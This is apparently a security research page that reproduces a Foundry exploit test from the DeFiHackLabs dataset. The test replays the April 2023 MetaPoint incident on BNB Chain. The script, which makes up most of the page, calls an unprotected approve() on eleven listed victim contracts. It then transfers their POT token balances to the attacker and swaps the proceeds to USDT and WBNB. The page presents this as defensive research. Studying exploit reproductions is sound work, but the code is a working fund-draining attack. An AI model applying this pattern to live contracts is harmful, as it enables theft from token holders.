Skip to content
THREATWIRE

Public reproduction file

src/test/2023-04/MetaPoint_exp.sol

Public reproduction file for dataset entry MetaPoint.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-04/MetaPoint_exp.sol72 lines
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7/*
8@Analysis
9https://twitter.com/PeckShieldAlert/status/1645980197987192833
10https://twitter.com/Phalcon_xyz/status/1645963327502204929
11@TX (one of the txs)
12invest
13https://bscscan.com/tx/0xdb01fa33bf5b79a3976ed149913ba0a18ddd444a072a2f34a0042bf32e4e7995
14withdraw
15https://bscscan.com/tx/0x41853747231dcf01017cf419e6e4aa86757e59479964bafdce0921d3e616cc67*/
17interface IApprove {
18 function approve() external;
21contract ContractTest is Test {
22 address pot = 0x3B5E381130673F794a5CF67FBbA48688386BEa86;
23 address usdt = 0x55d398326f99059fF775485246999027B3197955;
24 address pot_usdt_pool = 0x9117df9aA33B23c0A9C2C913aD0739273c3930b3;
25 address wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
26 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
28 function setUp() public {
29 vm.createSelectFork("bsc", 27_264_384 - 1);
30 }
32 function testExploit() public {
33 address[11] memory victims = [
34 0x724DbEA8A0ec7070de448ef4AF3b95210BDC8DF6,
35 0xE5cBd18Db5C1930c0A07696eC908f20626a55E3C,
36 0xC254741776A13f0C3eFF755a740A4B2aAe14a136,
37 0x5923375f1a732FD919D320800eAeCC25910bEdA3,
38 0x68531F3d3A20027ed3A428e90Ddf8e32a9F35DC8,
39 0x807d99bfF0bad97e839df3529466BFF09c09E706,
40 0xA56622BB16F18AF5B6D6e484a1C716893D0b36DF,
41 0x8acb88F90D1f1D67c03379e54d24045D4F6dfDdB,
42 0xe8d6502E9601D1a5fAa3855de4a25b5b92690623,
43 0x435444d086649B846E9C912D21E1Bc651033A623,
44 0x52AeD741B5007B4fb66860b5B31dD4c542D65785
45 ];
46 // approve
47 for (uint256 i = 0; i < victims.length; i++) {
48 IApprove(victims[i]).approve();
49 }
50 // transfer
51 for (uint256 i = 0; i < victims.length; i++) {
52 uint256 amount = IERC20(pot).balanceOf(victims[i]);
53 if (amount == 0) {
54 continue;
55 }
56 IERC20(pot).transferFrom(victims[i], address(this), amount);
57 }
58 bscSwap(pot, usdt, IERC20(pot).balanceOf(address(this)));
59 bscSwap(usdt, wbnb, IERC20(usdt).balanceOf(address(this)));
61 uint256 wbnbBalance = IERC20(wbnb).balanceOf(address(this));
62 emit log_named_decimal_uint("[After Attacks] Attacker WBNB balance", wbnbBalance, 18);
63 }
65 function bscSwap(address tokenFrom, address tokenTo, uint256 amount) internal {
66 IERC20(tokenFrom).approve(address(Router), type(uint256).max);
67 address[] memory path = new address[](2);
68 path[0] = tokenFrom;
69 path[1] = tokenTo;
70 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
71 }

Analysis

Dataset entry

Public Foundry test for “MetaPoint” (2023-04-12). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
MetaPoint
Path
src/test/2023-04/MetaPoint_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d477912bc33b08e816c5f0073c8c75e6949cf0f0
Language
Solidity
Size
73 lines
Date
2023-04-12
Licence
file header MIT; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-04/MetaPoint_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d477912bc33b08e816c5f0073c8c75e6949cf0f0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.